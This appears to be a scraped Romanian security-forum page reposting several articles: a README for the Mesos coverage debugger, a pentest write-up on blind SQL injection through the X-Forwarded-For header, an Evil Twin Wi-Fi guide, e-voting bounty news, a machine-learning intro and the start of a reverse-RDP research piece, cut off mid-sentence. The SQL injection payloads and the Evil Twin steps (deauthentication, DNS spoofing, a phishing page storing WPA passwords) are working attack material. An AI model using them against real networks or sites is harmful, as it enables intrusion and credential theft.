Leaderboard

https://azure.microsoft.com/en-us/free/ Enjoy. Luați cât e cald.

Foloseste rufus.

https://rstforums.com/forum/profile/126219-eliz77h/ Uita-te la posturile lui de pana acum si-ti vei da seama singur

S-a înțeleg ca intențiile sunt bune sau ?

Nu stiu daca asta te ajuta: https://www.hirensbootcd.org/download/

Summary Mesos is a tool to gather binary code coverage on all user-land Windows targets without need for source or recompilation. It also provides an automatic mechanism to save a full minidump of a process if it crashes under mesos. Mesos is technically just a really fast debugger, capable of handling tens of millions of breakpoints. Using this debugger, we apply breakpoints to every single basic block in a program. These breakpoints are removed as they are hit. Thus, mesos converges to 0-cost coverage as gathering coverage only has a cost the first time the basic block is hit. Why? This is effectively the successor of my 5+ year old Chrome IPC fuzzer. It doesn't have any fuzz components in it, but it is a high-performance debugger. This debugger can apply millions of breakpoints to gather coverage, and handle thousands of breakpoints per second to modify memory to inject inputs. This strategy has worked out well for me historically and still is my go-to tooling for fuzzing targets on live systems. Out of the box it can be used to gather simple code coverage but it's designed to be easily modified to add fast breakpoint handlers to inject inputs. For example, put a breakpoint after NtReadFile() returns and modify the buffer in flight. I used this in Chrome to modify inbound IPC traffic in the browser. Features Code coverage Automatic full minidump saving IDA Coloring Quick Usage Guide Set %PATH% such that idat64.exe is in it: path %PATH%;"C:\Program Files\IDA 7.2" Generate mesos (the first time will be slow): powershell .\offline_meso.ps1 <pid> python generate_mesos.py process_ida Gather coverage on target! cargo build --release target\release\mesos.exe <pid> Applying 1.6 million breakpoints? No big deal. C:\dev\mesos>target\release\mesos.exe 13828 mesos is 64-bit: true target is 64-bit: true [ 0.003783] Applied 5629 breakpoints ( 5629 total breakpoints) notepad.exe [ 0.028071] Applied 61334 breakpoints ( 66963 total breakpoints) ntdll.dll [ 0.035298] Applied 25289 breakpoints ( 92252 total breakpoints) kernel32.dll [ 0.058815] Applied 55611 breakpoints ( 147863 total breakpoints) kernelbase.dll ... [ 0.667417] Applied 11504 breakpoints ( 1466344 total breakpoints) oleacc.dll [ 0.676151] Applied 19557 breakpoints ( 1485901 total breakpoints) textinputframework.dll [ 0.705431] Applied 66650 breakpoints ( 1552551 total breakpoints) coreuicomponents.dll [ 0.717276] Applied 25202 breakpoints ( 1577753 total breakpoints) coremessaging.dll [ 0.720487] Applied 7557 breakpoints ( 1585310 total breakpoints) ntmarta.dll [ 0.732045] Applied 28569 breakpoints ( 1613879 total breakpoints) iertutil.dll Usage To use mesos there are 3 major steps. First, the modules of a running process are saved. Second, these modules are loaded in IDA which then outputs a list of all basic blocks into the meso format. And finally, mesos is run against a target process to gather coverage! Creating meso_deps.zip This step is the first thing we have to do. We create a ZIP file containing all of the modules loaded into a given PID. This script requires no internet and is designed to be easily dropped onto new VMs so mesos can be generated for your target application. It depends on PowerShell v5.0 or later which is installed by default on Windows 10 and Windows Server 2016. Run, with <pid> replaced with the process ID you want to gather coverage on: C:\dev\mesos>powershell .\offline_meso.ps1 8484 Powershell is 64-bit: True Target is 64-bit: True C:\dev\mesos> Optionally you can supply -OutputZip <zipfile> to change the output zip file name This will create a meso_deps.zip that if you look at contains all of the modules used in the process you ran the script targeting. Example output: C:\dev\mesos>powershell .\offline_meso.ps1 8484 -OutputZip testing.zip Powershell is 64-bit: True Target is 64-bit: True C:\dev\mesos>powershell Expand-Archive testing.zip -DestinationPath example C:\dev\mesos>powershell Get-ChildItem example -rec -File -Name cache\c_\program files\common files\microsoft shared\ink\tiptsf.dll cache\c_\program files\intel\optaneshellextensions\iastorafsserviceapi.dll cache\c_\program files\widcomm\bluetooth software\btmmhook.dll cache\c_\program files (x86)\common files\adobe\coresyncextension\coresync_x64.dll ... Generating meso files To generate meso files we operate on the meso_deps.zip we created in the last step. It doesn't matter where this zip came from. This allows the zip to have come from a VM that the PowerShell script was run on. Basic usage is: python generate_mesos.py process_ida This will use the meso_deps.zip file as an input, and use IDA to process all executables in the zip file and figure out where their basic blocks are. This will create a cache folder with a bunch of files in it. These files are named based on the module name, the modules TimeDateStamp in the PE header, and the ImageSize field in the PE header. This is what DLLs are uniqued by in the PDB symbol store, so it should be good enough for us here too. You'll see there are files with no extension (these are the original binaries), there are files with .meso extensions (the breakpoint lists), and .i64 files (the cached IDA database for the original binary). Symbol resolution There is no limitation on what can make these meso files. The quality of the symbol resolution depends on the tool you used to generate and it's ability to resolve symbols. For example with IDA if you have public/private symbols your _NT_SYMBOL_PATH should be configured correctly. More advanced usage Check the programs usage for the most recent usage. But there are _whitelist and _blacklist options that allow you to use a list of strings to filter the amount of mesos generated. This is helpful as coverage outside of your target module is probably not relevant and just introduces overheads and unnecessary processing. C:\dev\mesos>python generate_mesos.py Usage: generate_mesos.py process_ida Processes all files in the meso_deps.zip file generate_mesos.py process_ida_whitelist <str 1> <str 2> <str ...> Processes files only containing one of the strings provided generate_mesos.py process_ida_blacklist <str 1> <str 2> <str ...> Processes files all files except for those containing one of the provided strings Examples: python generate_mesos.py process_ida_whitelist system32 Only processes files in `system32` python generate_mesos.py process_ida_blacklist ntdll.dll Process all files except for `ntdll.dll` Path requirements for process_ida_*: must have `idat64.exe` in your PATH Example usage C:\dev\mesos>python generate_mesos.py process_ida_whitelist system32 Processing cache/c_/windows/system32/advapi32.dll Processing cache/c_/windows/system32/bcryptprimitives.dll Processing cache/c_/windows/system32/cfgmgr32.dll ... Processing cache/c_/windows/system32/user32.dll Processing cache/c_/windows/system32/uxtheme.dll Processing cache/c_/windows/system32/win32u.dll Processing cache/c_/windows/system32/windows.storage.dll Processing cache/c_/windows/system32/wintypes.dll Meso usage Now we're onto the actual debugger. We've created meso files to tell it where to put breakpoints in each module. First we need to build it with Rust! cargo build --release And then we can simply run it with a PID! target\release\mesos.exe <pid> Command-line options Currently there are few options to mesos, run mesos without arguments to get the most recent list. C:\dev\mesos>target\release\mesos.exe Usage: mesos.exe <pid> [--freq | --verbose | --print] <explicit meso file 1> <explicit meso file ...> --freq - Treats all breakpoints as frequency breakpoints --verbose - Enables verbose prints for debugging --print - Prints breakpoint info on every single breakpoint [explicit meso file] - Load a specific meso file regardless of loaded modules Standard usage: mesos.exe <pid> Example usage C:\dev\mesos>target\release\mesos.exe 13828 mesos is 64-bit: true target is 64-bit: true [ 0.004033] Applied 5629 breakpoints ( 5629 total breakpoints) notepad.exe [ 0.029248] Applied 61334 breakpoints ( 66963 total breakpoints) ntdll.dll [ 0.037032] Applied 25289 breakpoints ( 92252 total breakpoints) kernel32.dll [ 0.062844] Applied 55611 breakpoints ( 147863 total breakpoints) kernelbase.dll ... [ 0.739059] Applied 66650 breakpoints ( 1552551 total breakpoints) coreuicomponents.dll [ 0.750266] Applied 25202 breakpoints ( 1577753 total breakpoints) coremessaging.dll [ 0.754485] Applied 7557 breakpoints ( 1585310 total breakpoints) ntmarta.dll [ 0.766119] Applied 28569 breakpoints ( 1613879 total breakpoints) iertutil.dll ... [ 23.544097] Removed 5968 breakpoints in imm32.dll [ 23.551529] Syncing code coverage database... [ 23.675103] Sync complete (169694 total unique coverage entries) Detached from process 13828 Why not use cargo run? When running in cargo run the Ctrl+C handler does not work correctly, and does not allow us to detach from the target program cleanly. Limitations Since this relies on a tool (IDA) to identify blocks, if the tool incorrectly identifies a block it could result in us inserting a breakpoint over data. Further it's possible to miss coverage if a block is not correctly found. Why doesn't it do more? Well. It really just allows fast breakpoints. Feel free to rip it apart and add your own hooks to functions. It could easily be used to fuzz things Why IDA? I tried a bunch of tools and IDA was the only one that seemed to work well. Binja probably would also work well but I don't have it installed and I'm not familiar with the API. I have a coworker who wrote a plugin for it and that'll probably get pull requested in soon. The meso files are just simple files, anyone can generate them from any tool Technical Details Minidump autogenned filenames The generated minidump filenames are designed to give a high-level of glance value at crashes. It includes things like the exception type, faulting address, and rough classification of the bug. Currently if it's an access violation we apply the following classification: Determine the access type (read, write, execute) For reads the filename contains: "read" For writes the filename contains: "WRITE" For execute the filename contains: "DEP" Determine if it's a non-canonical 64-bit address For non-canonical addresses the filename contains: NONCANON Otherwise determine if it's a NULL dereference (within 32 KiB +- of NULL) Will put "null" in the filename Otherwise it's considered a non-null deref and "HIGH" appears in the filename It's intended that more severe things are in all caps to give higher glance value of prioritizing which crash dumps to look into more. Example minidump filename for chrome: crash_c0000005_chrome_child.dll+0x2c915c0_WRITE_null.dmp Meso file format Coming soon (once it's stable) Sursa: https://github.com/gamozolabs/mesos

X Forwarded for SQL injection 06.Feb.2019 Nikos Danopoulos, Ghost Labs Ghost Labs Ghost Labs performs hundreds of success tests for its customers ranging from global enterprises to SMEs. Our team consists of highly skilled ethical hackers, covering a wide range of advanced testing services to help companies keep up with evolving threats and new technologies. Last year, on May, I was assigned a Web Application test of a regular customer. As the test was blackbox one of the few entry points - if not the only - was a login page. The tight scoping range and the staticity of the Application did not provide many options. After spending some time on the enumeration phase by trying to find hidden files/directories, leaked credentials online, common credentials, looking for vulnerable application components and more I was driven to a dead end. No useful information were received, the enumeration phase had finished and no process had been made. Moreover, every fuzzing attempt on the login parameters didn’t not trigger any interesting responses. Identifying the entry point A very useful Burp Suite Extension is Bypass WAF. To find out how this extension works, have a quick look here. Briefly, this extension is used to bypass a Web Application firewall by inserting specific headers on our HTTP Requests. X-Forwarded-For is one of the them. What this header is also known for though is for the frequent use by the developers to store the IP Data of the client. The following backend SQL statement is a vulnerable example of this: mysql_query("SELECT username, password FROM users-data WHERE username='".sanitize($_POST['username'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ipadr()."'"); More info here: SQL Injection through HTTP Headers Where ipadr() is a function that reads the $_SERVER['HTTP_X_FORWARDED_FOR'] value (X-Forwarded-For header) and by applying some regular expression decides whether to store the value or not. For the web application I was testing, it turned out to have a similar vulnerability. The provided X-Forwarded-For header was not properly validated, it was parsed as a SQL statement and there was the entry point. Moreover, it was not mandatory to send a POST request to the login page and inject the payload through the header. The header was read and evaluated on the index page, by just requesting the “/” directory. Due to the application’s structure, I was not able to trigger any visible responses from the payloads. That made the Injection a Blind, Time Based one. Out of several and more complex payloads - mainly for debugging purposes - the final, initial, payload was: "XOR(if(now()=sysdate(),sleep(6),0))OR” And it was triggered by a similar request: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 X-Forwarded-For: "XOR(if(now()=sysdate(),sleep(6),0))OR” X-Requested-With: XMLHttpRequest Referer: http://internal.customer.info/ Host: internal.customer.info Connection: close Accept-Encoding: gzip,deflate Accept: / The response was delayed, the sleep value was incremented to validate the finding and indeed, the injection point was ready. As sqlmap couldn’t properly insert the injection point inside the XOR payload, an initial manual enumeration was done. The next information extracted was the Database Length. That would allow me to later identify the Database Name too. Here is the payload used: "XOR(if(length(database())<='30',sleep(5),null))OR" Of course, Burp Intruder was used to gradually increment the database length value. It turned out that the Database Length is 30. To find the Database Name Burp Intruder was used again with the following payload: "XOR(if(MID(database(),1,1)='§position§',sleep(9),0))OR" To automate this in an attack the following payload was used: "XOR(if(MID(database(),1,§number§)='§character§',sleep(2),0))OR" During the attack I noticed that the first 3 characters are the same with the first character of the domain name I am testing. The domain were 20 character long. I paused the intruder attack, went back to repeater and verified like this: "XOR(if(MID(database(),1,20)='<domain-name>',sleep(4),0))OR" Indeed, the server delayed to respond indicating that the 15 first characters of the Database Name are the same as the domain name. The database name was 30 characters long. I had to continue the attack but this time with a different payload, starting the attack from character 21, in order to find the full database name. After a few minutes, the full database name was extracted. Format: “<domain-name>_<subdomain-name>_493 ” With the database name I then attempted to enumerate table names. Similarly, a char-by-char bruteforce attacks is required to find the valid names. To do this I loaded the information_schema.tables table that provides information about all the databases’ tables. I filtered only the current’s database related tables by using the WHERE clause: "XOR(if(Ascii(substring(( Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))= '100', sleep(5),0))OR"*/ As the previous payload was the initial one, I simplified it to this: "XOR(if((substring(( Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='a', sleep(3),0)) OR "*/ Again, the payload was parsed to Burp Intruder to automate the process. After a few minutes the first tables were discovered: After enumerating about 20 Tables Names I decided to try again my luck with SQLmap. As several tables where discovered, one of them was used to help sqlmap understand the injection point and continue the attack. Payload used in sqlmap: XOR(select 1 from cache where 1=1 and 1=1*)OR By that time I managed to properly set the injection point and I forced sqlmap to just extract the column names and data from the interesting tables. Notes and Conclusion At the end of the injection the whole database along with the valuable column information was received. The customer was notified immediately and the attack was reproduced as a proof of concept. Sometimes manual exploitation - especially blind, time based attacks - may seem tedious. As shown, it is also sometimes difficult to automate a detected injection attack. The best thing that can be done on such cases is to manually attack until all the missing information for the automation of the attack are collected. Sursa: https://outpost24.com/blog/X-forwarded-for-SQL-injection

Evil Twin Attack: The Definitive Guide by Hardeep Singh Last updated Feb. 10, 2019 In this article I’ll show you how an attacker can retrieve cleartext WPA2 passphrase on automation using an Evil Twin Access Point. No need of cracking or any extra hardware other than a Wireless adapter. I am using a sample web page for the demonstration. An attacker can turn this webpage into basically any webapp to steal information. Information like domain credentials, social login passwords, credit card information etc. ET Evil Twin noun Definition A fraudulent wireless access point masquerading as a legitimate AP. Evil Twin Access Point’s sole purpose is to eavesdrop on WiFi users to steal personal or corporate information without user’s knowledge. We will not be using any automated script, rather we will understand the concept and perform it manually so that you can make your own script to automate the task and make it simple and usable on low-end devices. Lets begin now! Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Evil Twin Attack Methodology Step 1: Attacker scans the air for the target access point information. Information like SSID name, Channel number, MAC Address. He then uses that information to create an access point with same characteristics, hence Evil Twin Attack. Step 2: Clients on the legitimate AP are repeatedly disconnected, forcing users to connect to the fraudulent access point. Step 3: As soon as the client is connected to the fake access point, S/he may start browsing Internet. Step 4: Client opens up a browser window and see a web administrator warning saying “Enter WPA password to download and upgrade the router firmware” Step 5: The moment client enters the password, s/he will be redirected to a loading page and the password is stored in the MySQL database of the attacker machine. The persistent storage and active deauthentication makes this attack automated. An attacker can also abuse this automation by simply changing the webpage. Imagine the same WPA2 password warning is replaced by “Enter domain credentials to access network resources”. The fake AP will be up all time and storing legitimate credentials in persistent storage. I’ll discuss about it in my Captive Portal Guide. Where I’ll demonstrate how an attacker can even hack domain credentials without having a user to open a webpage. Just connecting the WiFi can take a WiFi user to our webpage, automatically. A WiFi user could be using Android, iOS, a MacOS or a windows laptop. Almost every device is susceptible to it. but for now I’ll show you how the attack works with lesser complications. Tweet this Evil Twin Attack Guide Prerequisites Below are the following list of hardware and software used in creating this article. Use any hardware of your choice until it supports the softwares you’d be using. Hardware used: A Laptop (4GB RAM, Intel i5 processor) Alfa AWUS036NH 1W wireless adapter Huawei 3G WiFi dongle for Internet connection to the Kali Virtual Machine Software Used VMWare Workstation/Fusion 2019 Kali Linux 2019 (Attacker) Airmon-ng, airodump-ng, airbase-ng, and aireplay-ng DNSmasq Iptables Apache, mysql Firefox web browser on Ubuntu 16.10 (Victim) Installing required tools So far we have aircrack-ng suite of tools, apache, mysql, iptables pre-installed in our Kali Linux virtual machine. We just need to install dnsmasq for IP address allocation to the client. Install dnsmasq in Kali Linux Type in terminal: apt-get update apt-get install dnsmasq -y This will update the cache and install latest version of dhcp server in your Kali Linux box. Now all the required tools are installed. We need to configure apache and the dhcp server so that the access point will allocate IP address to the client/victim and client would be able to access our webpage remotely. Now we will define the IP range and the subnet mask for the dhcp server. Configure dnsmasq Create a configuration file for dnsmasq using vim or your favourite text editor and add the following code. sudo vi ~/Desktop/dnsmasq.conf ~/Desktop/dnsmasq.conf interface=at0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 Save and exit. Use your desired name for .conf file. Pro Tip: Replace at0 with wlan0 everywhere when hostapd is used for creating an access point Parameter Breakdown dhcp-range=10.0.0.10,10.0.0.250,12h: Client IP address will range from 10.0.0.10 to 10.0.0.250 and default lease time is 12 hours. dhcp-option=3,10.0.0.1: 3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1 dhcp-option=6,10.0.0.1: 6 for DNS Server followed by IP address (Optional) Resolve airmon-ng and Network Manager Conflict Before enabling monitor mode on the wireless card let’s fix the airmon-ng and network-manager conflict forever. So that we don’t need to kill the network-manager or disconnect tany network connection before putting wireless adapter into monitor mode as we used to run airmon-ng check kill every time we need to start wifi pentest. Open network manager’s configuration file and put the MAC address of the device you want network-manager to stop managing: vim /etc/NetworkManager/NetworkManager.conf Now add the following at the end of the file [keyfile] unmanaged-devices:mac=AA:BB:CC:DD:EE:FF, A2:B2:C2:D2:E2:F2 Now that you have edited the NetworkManager.conf file you should have no conflicts with airmon-ng in Kali Linux We are ready to begin now. Put wireless adapter into monitor mode Bring up the wireless interface ifconfig wlan0 up airmon-ng start wlan0 Putting the card in monitor mode will show a similar output Now our card is in monitor mode without any issues with network manager. You can simply start monitoring the air with command airodump-ng wlan0mon As soon your target AP appears in the airodump-ng output window press CTRL+C and note these three things in a text editor: vi info.txt Set tx-power of alfa card to max: 1000mW tx-power stands for transmission power. By default it is set to 20dBm(Decibel metre) or 100mW. tx-power in mW increases 10 times with every 10 dBm. See the dBm to mW table. If your country is set to US while installation. then your card should operate on 30 dBm(1000 mW) ifconfig wlan0mon down iw reg set US ifconfig wlan0mon up iwconfig wlan0mon If you are thinking why we need to change region to operate our card at 1000mW. Here is why because different countries have different legal allowance of Wireless devices at certain power and frequency. That is why Linux distribution have this information built in and you need to change your region to allow yourself to operate at that frequency and power. Motive of powering up the card is that when creating the hotspot you do not have any need to be near to the victim. victim device will automatically connect to the device with higher signal strength even if it isn’t physically near. Start Evil Twin Attack Begin the Evil Twin attack using airbase-ng: airbase-ng -e "rootsh3ll" -c 1 wlan0mon by default airbase-ng creates a tap interface(at0) as the wired interface for bridging/routing the network traffic via the rogue access point. you can see it using ifconfig at0 command. For the at0 to allocate IP address we need to assign an IP range to itself first. Allocate IP and Subnet Mask ifconfig at0 10.0.0.1 up Note: The Class A IP address, 10.0.0.1, matches the dhcp-option parameter of dnsmasq.conf file. Which means at0 will act as the default gateway under dnsmasq Now we will use our default Internet facing interface, eth0, to route all the traffic from the client through it. In other words, allowing victim to access the internet and allowing ourselves(attacker) to sniff that traffic. For that we will use iptables utility to set a firewall rule to route all the traffic through at0 exclusively. You will get a similar output, if using VM Enable NAT by setting Firewall rules in iptables Enter the following commands to set-up an actual NAT: iptables --flush iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -j MASQUERADE Make sure you enter correct interface for –out-interface. eth0 here is the upstream interface where we want to send out packets, coming from at0 interface(rogue AP). Rest is fine. After entering the above command if you are willing to provide Internet access to the victim just enable routing using the command below Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward Entering “1” in the ip_forward file will tell the system to enable the rules defined in the IPtables and start forwarding traffic(if any). 0 stand for disable. Although rules will remain defined until next reboot. We will put it 0 for this attack, as we are not providing internet access before we get the WPA password. Our Evil Twin attack is now ready and rules has been enabled, now we will start the dhcp server to allow fake AP to allocate IP address to the clients. First we need to tell dhcp server the location of the file we created earlier, which defines IP class, subnet mask and range of the network. Start dhcpd Listener Type in terminal: dnsmasq -C ~/Desktop/dnsmasq.conf -d Here -C stands for Configuration file and -d stands for daemon mode as soon as victim connects you should see similar output for dnsmasq Terminal window [ dnsmasq ] dnsmasq: started, version 2.76 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.250, lease time 12h dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 192.168.74.2#53 dnsmasq: read /etc/hosts - 5 addresses dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 dnsmasq-dhcp: 1673205542 client provides name: rootsh3ll-iPhone dnsmasq-dhcp: 1673205542 DHCPDISCOVER(at0) 2c:33:61:3d:c4:2e dnsmasq-dhcp: 1673205542 tags: at0 dnsmasq-dhcp: 1673205542 DHCPOFFER(at0) 10.0.0.247 2c:33:61:3a:c4:2f dnsmasq-dhcp: 1673205542 requested options: 1:netmask, 121:classless-static-route, 3:router, <-----------------------------------------SNIP-----------------------------------------> dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 In case you are facing any issue regarding dhcp server, just kill the curently running dhcp processes killall dnsmasq dhcpd isc-dhcp-server and run dnsmasq again. It should work now. Start the Services Now start the dhcp server, apache and mysql inline /etc/init.d/apache2 start /etc/init.d/mysql start We have our Evil Twin attack vector up and working perfectly. Now we need to setup our fake webpage in action so that victim will see the webpage while browsing and enter the passphrase which s/he uses for his/her access point. Download Rogue AP Configuration Files wget https://cdn.rootsh3ll.com/u/20180724181033/Rogue_AP.zip and simply enter the following command in Terminal unzip rogue_AP.zip -d /var/www/html/ This command will extract the contents of rogue_AP.zip file and copy them to the apache’s html directory so that when the victim opens the browser s/he will automatically be redirected to the default index.html webpage. Now to store the credentials entered by the victim in the html page, we need an SQL database. you will see a dbconnect.php file for that, but to be in effect you need a database created already so that the dbconnect.php will reflect the changes in the DB. Open terminal and type: mysql -u root -p Create a new user fakeap and password fakeap As you cannot execute MySQL queries from PHP being a root user since version 5.7 create user fakeap@localhost identified by 'fakeap'; now create database and table as defined in the dbconnect.php create database rogue_AP; use rogue_AP; create table wpa_keys(password1 varchar(32), password2 varchar(32)); It should go like this: Grant fakeap all the permissions on rogue_AP Database: grant all privileges on rogue_AP.* to 'fakeap'@'localhost'; Exit and log in using new user mysql -u fakeap -p Select rogue_AP database use rogue_AP; Insert a test value in the table insert into wpa_keys(password1, password2) values ("testpass", "testpass"); select * from wpa_keys; Note that both the values are same here, that means password and confirmation password should be the same. Our attack is now ready just wait for the client to connect and see the credential coming. In some cases your client might already be connected to the original AP. You need to disconnect the client as we did in the previous chapters using aireplay-ng utility. Syntax: aireplay-ng --deauth 0 -a <BSSID> <Interface> aireplay-ng --deauth 0 -a FC:DD:55:08:4F:C2 wlan0mon --deauth 0: Unlimited de-authentication requests. Limit the request by entering natural numbers. We are using 0 so that every client will disconnect from that specific BSSID and connect to our AP as it is of the same name as of real AP and also open type access point. As soon a client connects to your AP you will see an activity in the airbase-ng terminal window like this Now to simulate the client side I am using Ubuntu machine connected via WiFi and using a Firefox web browser to illustrate the attack. Victim can now access the Internet. You can do 2 things at this staged: Sniff the client traffic Redirect all the traffic to the fake AP page and that’s what we wanna do. Redirect the client to our fake AP page. Just run this command: dnsspoof -i at0 It will redirect all HTTP traffic coming from the at0 interface. Not HTTPS traffic, due to the built in list of HSTS web sites. You can’t redirect HTPS traffic without getting an SSL/TLS error on the victim’s machine. When victim tries to access any website(google.com in this case), s/he will see this page which tell the victim to enter the password to download and upgrade the firmware Here i am entering “iamrootsh3ll” as the password that I (Victim) think is his/her AP’s password. As soon as the victim presses [ENTER] s/he will see this Now coming back to attacker side. You need to check in the mySQL database for the stored passwords. Just type the previously used command in the mySQL terminal window and see whether a new update is there or not. After simulating I checked the mySQL DB and here is the output Voila! you have successfully harvested the WPA2 passphrase, right from the victim, in plain text. Now close all the terminal windows and connect back to the real AP to check whether the password is correct or victim was him/herself was a hacker and tricked you! Although you don’t need to name any AP similar to an existing AP you can also create a random free open WiFi type name to gather the client on your AP and start pentesting. Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Want to go even deeper? If you are serious about WiFi Penetration Testing and Security, I have something for you. WiFi Hacking in the Cloud Video Course. Which will take you from a complete beginner to a full blown blue teamer who can not only pentest a WiFi network but can also detect rogue devices on a network, detect network anomalies, perform threat detection on multiple networks at once, create email reports, visual dashboard for easier understanding, incident handling and respond to the Security Operations Center. Apart from that, USP of the course? WiFi Hacking without a WiFi card – A.K.A The Cloud Labs The cloud labs allows you to simply log into your Kali machine and start sniffing WiFi traffic. perform low and high level WiFi attacks, learn all about WiFi security, completely on your lab. WiFi Hacking Without a WiFi Card – Proof of Concept Labs can be accessed in 2 ways 1. Via Browser – Just use your login link and password associated 2. Via SSH -If you want even faster and latency free experience. Here’s a screenshot of the GUI lab running in Chrome browser (Note the URL, it’s running on Amazon AWS cloud): Click here to learn all about the WiFi Security Video Course. Order now for a discount Keep Learning… Sursa: https://rootsh3ll.com/evil-twin-attack/

Autoritățile Elvețiene contestă pe oricine să-și spargă votul electoral. Un mod ciudat de a asigura securitatea sistemului lor. Și pentru a motiva hackerii, Elveția promite o recompensă de 150.000 de franci, sau 132.000 €, celor care vor ajunge acolo. Evenimentul va fi organizat în condițiile realității, între 25 februarie și 24 martie, cu un vot fals. Participanții trebuie să se înregistreze în prealabil pe acest site https://onlinevote-pit.ch/ . Cancelaria Federală afirmă în comunicatul său că hackerii vor " încerca să manipuleze voturile, să citească voturile exprimate, să încalce secretul votării și dezafectării sau să ocolească dispozitivele de securitate care protejează voturile. acele date inerente securității". Hackerii care intră în sistemul de vot vor împărți prada în funcție de nivelul lor de hacking. Oricine reușește să manipuleze voturile nedetectabil va câștiga jackpot-ul, și anume 50.000 de franci elvețieni. Cei care reușesc să încalce secretul votului vor câștiga 10.000 de franci pentru a împărți, în timp ce cei care distrug sistemul de vot electronic vor fi recompensați cu 5.000 de franci elvețieni. Din 2004, votul electronic a fost testat în Elveția și pare să atragă tot mai mulți alegători. Secțiile de votare tradiționale sunt din ce în ce mai puține, în avantajul e-mailurilor sau corespondenței, prin intermediul oficiului poștal. În 2018, guvernul a încheiat faza de testare și a inițiat un proces pentru ca votarea electronică să fie al treilea canal de votare. Acest lucru ar trebui să dureze doi ani. Rețineți că competiția este deschisă tuturor și va fi disponibilă în franceză, germană, italiană, romană, precum și documentație în limba engleză. Source : https://geeko.lesoir.be/

Machine Learning for Everyone In simple words. With real-world examples. Yes, again 21 november 2018 :: 28834 views :: 8137 words This article in other languages: Russian (original) Special thanks for help: @wcarss, @sudodoki and my wife ❤️ Machine Learning is like sex in high school. Everyone is talking about it, a few know what to do, and only your teacher is doing it. If you ever tried to read articles about machine learning on the Internet, most likely you stumbled upon two types of them: thick academic trilogies filled with theorems (I couldn’t even get through half of one) or fishy fairytales about artificial intelligence, data-science magic, and jobs of the future. I decided to write a post I’ve been wishing existed for a long time. A simple introduction for those who always wanted to understand machine learning. Only real-world problems, practical solutions, simple language, and no high-level theorems. One and for everyone. Whether you are a programmer or a manager. Let's roll. Why do we want machines to learn? This is Billy. Billy wants to buy a car. He tries to calculate how much he needs to save monthly for that. He went over dozens of ads on the internet and learned that new cars are around $20,000, used year-old ones are $19,000, 2-year old are $18,000 and so on. Billy, our brilliant analytic, starts seeing a pattern: so, the car price depends on its age and drops $1,000 every year, but won't get lower than $10,000. In machine learning terms, Billy invented regression – he predicted a value (price) based on known historical data. People do it all the time, when trying to estimate a reasonable cost for a used iPhone on eBay or figure out how many ribs to buy for a BBQ party. 200 grams per person? 500? Yeah, it would be nice to have a simple formula for every problem in the world. Especially, for a BBQ party. Unfortunately, it's impossible. Let's get back to cars. The problem is, they have different manufacturing dates, dozens of options, technical condition, seasonal demand spikes, and god only knows how many more hidden factors. An average Billy can't keep all that data in his head while calculating the price. Me too. People are dumb and lazy – we need robots to do the maths for them. So, let's go the computational way here. Let's provide the machine some data and ask it to find all hidden patterns related to price. Aaaand it works. The most exciting thing is that the machine copes with this task much better than a real person does when carefully analyzing all the dependencies in their mind. That was the birth of machine learning. Articol complet: https://vas3k.com/blog/machine_learning/

Salut ! E de bun simt sa citesti regulamentul cand intri pe / intr-o comunitate, astfel ai fi aflat ca posturile de genul "vand / caut / schimb / cumpar" se posteaza doar pe forumul RST MARKET si ai nevoie de minim 50 de posturi pentru a posta acolo. Acele 50 de posturi sunt necesare, deoarece potentialii freelanceri ar putea sa se uite peste ce ai mai postat, si si-ar face o mica idee despre ce fel de persoana esti. Cu placere.

Reverse RDP Attack: Code Execution on RDP Clients February 5, 2019 Research by: Eyal Itkin Overview Used by thousands of IT professionals and security researchers worldwide, the Remote Desktop Protocol (RDP) is usually considered a safe and trustworthy application to connect to remote computers. Whether it is used to help those working remotely or to work in a safe VM environment, RDP clients are an invaluable tool. However, Check Point Research recently discovered multiple critical vulnerabilities in the commonly used Remote Desktop Protocol (RDP) that would allow a malicious actor to reverse the usual direction of communication and infect the IT professional or security researcher’s computer. Such an infection could then allow for an intrusion into the IT network as a whole. 16 major vulnerabilities and a total of 25 security vulnerabilities were found overall. The full list can be found in Appendix A & B. Introduction The Remote Desktop Protocol (RDP), also known as “mstsc” after the Microsoft built-in RDP client, is commonly used by technical users and IT staff to connect to / work on a remote computer. RDP is a proprietary protocol developed by Microsoft and is usually used when a user wants to connect to a remote Windows machine. There are also some popular open-source clients for the RDP protocol that are used mainly by Linux and Mac users. RDP offers many complex features, such as: compressed video streaming, clipboard sharing, and several encryption layers. We therefore decided to look for vulnerabilities in the protocol and its popular implementations. In a normal scenario, you use an RDP client, and connect to a remote RDP server that is installed on the remote computer. After a successful connection, you now have access to and control of the remote computer, according to the permissions of your user. But if the scenario could be put in reverse? We wanted to investigate if the RDP server can attack and gain control over the computer of the connected RDP client. Figure 1: Attack scenario for the RDP protocol There are several common scenarios in which an attacker can gain elevated network permissions by deploying such an attack, thus advancing his lateral movement inside an organization: Attacking an IT member that connects to an infected work station inside the corporate network, thus gaining higher permission levels and greater access to the network systems. Attacking a malware researcher that connects to a 